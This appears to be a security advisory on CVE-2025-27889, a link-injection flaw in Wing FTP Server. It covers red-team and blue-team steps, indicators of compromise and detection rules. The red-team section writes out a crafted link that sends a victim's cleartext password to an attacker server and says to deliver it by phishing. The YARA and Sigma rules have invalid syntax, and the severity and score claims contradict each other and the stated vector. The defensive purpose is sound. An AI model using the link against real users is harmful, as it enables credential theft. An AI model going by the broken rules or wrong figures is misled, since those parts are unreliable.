CVE-2025-27889

Executive Summary

CVE-2025-27889 is a medium-severity vulnerability in Wing FTP Server versions prior to 7.4.4. The flaw resides in the downloadpass.html endpoint, where the url parameter is not properly validated or sanitized. This allows an attacker to inject an arbitrary link. If a victim clicks on a crafted link, their cleartext password is disclosed to the attacker. The vulnerability has a CVSS score of 3.4, indicating a low severity, but the potential for credential theft makes it a significant risk. No public exploit code or Nuclei template is available at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 3.4 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
• Attack Vector (AV): Network (N) - The attack can be launched remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - The attacker does not need authentication.
• User Interaction (UI): Required (R) - The victim must click a crafted link.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): Low (L) - Limited disclosure of cleartext password.
• Integrity (I): None (N) - No data integrity impact.
• Availability (A): None (N) - No availability impact.

Threat Level: Low, but with a high potential for credential theft if exploited.

Deep Dive & Mechanics

The vulnerability is a classic case of insufficient input validation leading to an open redirect or link injection. The downloadpass.html endpoint is designed to handle password recovery or download links. The url parameter is used to redirect the user after a successful password retrieval. However, the server does not validate that the url parameter points to a legitimate, internal resource. An attacker can craft a link like:

http://target-ftp-server/downloadpass.html?url=http://attacker-controlled-server/steal.php

When a victim clicks this link, the Wing FTP Server processes the request, retrieves the cleartext password (likely from a session or temporary storage), and then redirects the user to the attacker's URL. The attacker can capture the password via the Referer header or by embedding the password in the redirect URL itself.

The root cause is the lack of proper sanitization and validation of the url parameter. The server should only allow redirects to trusted, internal domains or paths.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: No validation of $url
$url = $_GET['url'];
$password = getPasswordFromSession();
// ... process password ...
header("Location: " . $url);

Patched Code (Conceptual):

// Patched: Validate $url against a whitelist
$url = $_GET['url'];
$allowedHosts = ['example.com', 'ftp.example.com'];
$parsedUrl = parse_url($url);
if (in_array($parsedUrl['host'], $allowedHosts)) {
    header("Location: " . $url);
} else {
    // Redirect to a safe default
    header("Location: /index.html");
}

Exploitation & Lab Setup

Red Team

1. Setup: Deploy a vulnerable Wing FTP Server (version < 7.4.4) in a lab environment. Set up an attacker-controlled web server to capture incoming requests.
2. Craft Payload: Create a malicious link:

   http://victim-ftp-server/downloadpass.html?url=http://attacker-server/steal.php?password=
   

3. Deliver Payload: Send the link to a victim via phishing email or social engineering.
4. Capture Credentials: When the victim clicks the link, the server redirects to the attacker's server. The password may be appended to the URL or sent via the Referer header. The attacker's server logs the request.

Blue Team

1. Detection: Monitor web server logs for unusual downloadpass.html requests with suspicious url parameters pointing to external domains.
2. Prevention: Implement a web application firewall (WAF) rule to block requests to downloadpass.html with url parameters that do not match a whitelist of allowed domains.
3. Response: If an attack is detected, immediately revoke the compromised password and force a password reset for the affected user. Investigate the source of the phishing link.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /downloadpass.html with a url parameter pointing to an external domain.
  • Outbound connections from the FTP server to unknown external IPs on port 80/443.
• File IOCs:
  • Unusual entries in the FTP server's access logs showing downloadpass.html with external redirects.
• Behavioral IOCs:
  • Users reporting unexpected password reset emails or suspicious links.

Detection Engineering

YARA Rule

rule CVE_2025_27889_WingFTP_LinkInjection {
    meta:
        description = "Detects attempts to exploit CVE-2025-27889 in Wing FTP Server"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-27889"
    strings:
        $s1 = "downloadpass.html" nocase
        $s2 = "url=" nocase
        $s3 = "http://" or "https://"
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule

title: CVE-2025-27889 Wing FTP Server Link Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests to downloadpass.html with an external URL parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/downloadpass.html'
        cs-uri-query|contains: 'url=http://' or 'url=https://'
    condition: selection
falsepositives:
    - Legitimate external redirects if configured
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-27889 Wing FTP Server Link Injection"; flow:to_server,established; content:"GET"; http_method; content:"/downloadpass.html"; http_uri; content:"url="; http_uri; pcre:"/url=https?:\/\//Ui"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade to Wing FTP Server version 7.4.4 or later.
2. Workaround: If upgrading is not possible, restrict access to the downloadpass.html endpoint using a reverse proxy or WAF. Only allow internal IPs to access this endpoint.
3. Long-term: Implement input validation for all user-supplied parameters. Use a whitelist of allowed redirect destinations.
4. Monitoring: Enable detailed logging for all HTTP requests and monitor for suspicious patterns.

Valters IT